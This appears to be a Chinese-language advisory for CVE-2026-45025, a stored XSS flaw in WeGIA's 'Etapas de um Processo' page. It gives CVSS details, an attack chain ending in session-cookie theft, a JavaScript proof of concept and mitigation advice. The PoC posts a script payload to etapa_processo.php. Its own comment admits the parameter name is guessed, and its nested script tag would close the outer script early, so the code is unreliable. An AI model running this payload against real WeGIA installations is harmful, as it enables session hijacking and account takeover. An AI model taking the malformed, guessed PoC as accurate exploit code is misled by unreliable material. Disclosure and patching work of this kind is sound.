CVE-2026-45025 WeGIA 存储型XSS漏洞

漏洞信息

漏洞编号

CVE-2026-45025

漏洞类型

存储型跨站脚本攻击 (Stored XSS)

CVSS评分

6.8 中危

攻击向量

网络 (AV:N)

认证要求

高权限 (PR:H)

用户交互

无需交互 (UI:N)

影响产品

WeGIA

漏洞概述

WeGIA是一个面向慈善机构的Web管理系统。在3.7.3版本之前，系统存在存储型XSS漏洞。经过身份认证的高权限用户可以在“Etapas de um Processo”页面中注入恶意JavaScript代码。当其他用户访问该页面时，恶意脚本将在浏览器中执行，从而导致会话劫持和账户接管风险。该问题已在3.7.3版本中修复。

技术细节

该漏洞位于WeGIA的`html/atendido/etapa_processo.php`模块中。由于应用程序未对用户提交的“Etapas de um Processo”字段数据进行充分的输出编码或输入验证，允许经过认证的攻击者注入持久化的恶意脚本。一旦数据被提交，恶意代码便存储在服务器数据库中。随后，当管理员或普通用户浏览受影响的页面时，嵌入的脚本将在其浏览器上下文中运行。攻击者利用此机制可窃取Session ID、Cookie等敏感凭证，进而冒充受害者身份执行未授权操作。

攻击链分析

STEP 1

1. 身份认证

攻击者需要获取高权限账户的访问权限（PR:H），登录WeGIA系统。

STEP 2

2. 恶意注入

攻击者导航至“Etapas de um Processo”页面（etapa_processo.php），并在输入字段中植入恶意JavaScript代码。

STEP 3

3. 数据存储

系统将包含恶意脚本的数据保存到数据库中，未经过滤或转义。

STEP 4

4. 触发执行

当其他用户（如管理员）访问该页面查看流程信息时，服务器返回未经过滤的数据，浏览器解析并执行恶意脚本。

STEP 5

5. 会话劫持

恶意脚本窃取受害者的Session Cookie或令牌，发送给攻击者，导致账户被接管。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!--
// Proof of Concept for CVE-2026-45025
// Target: WeGIA < 3.7.3
// Endpoint: html/atendido/etapa_processo.php
-->

<script>
// Simulate a POST request to inject the payload
function injectXSS() {
    const payload = '<script>alert(document.cookie)</script>';
    const formData = new FormData();
    formData.append('etapa_processo', payload); // Vulnerable parameter name based on context
    formData.append('submit', 'Salvar');

    fetch('/html/atendido/etapa_processo.php', {
        method: 'POST',
        body: formData,
        credentials: 'include'
    })
    .then(response => {
        if(response.ok) {
            console.log('Payload injected successfully. Visit the page to trigger XSS.');
        }
    });
}

// Trigger injection
injectXSS();
</script>

影响范围

WeGIA < 3.7.3

防御指南

临时缓解措施

在无法立即升级的情况下，应严格限制对WeGIA系统的访问权限，仅允许可信IP访问。管理员应手动检查数据库中的“etapa_processo”相关表项，清理潜在的恶意脚本。建议部署Web应用防火墙（WAF）以检测和拦截常见的XSS攻击模式。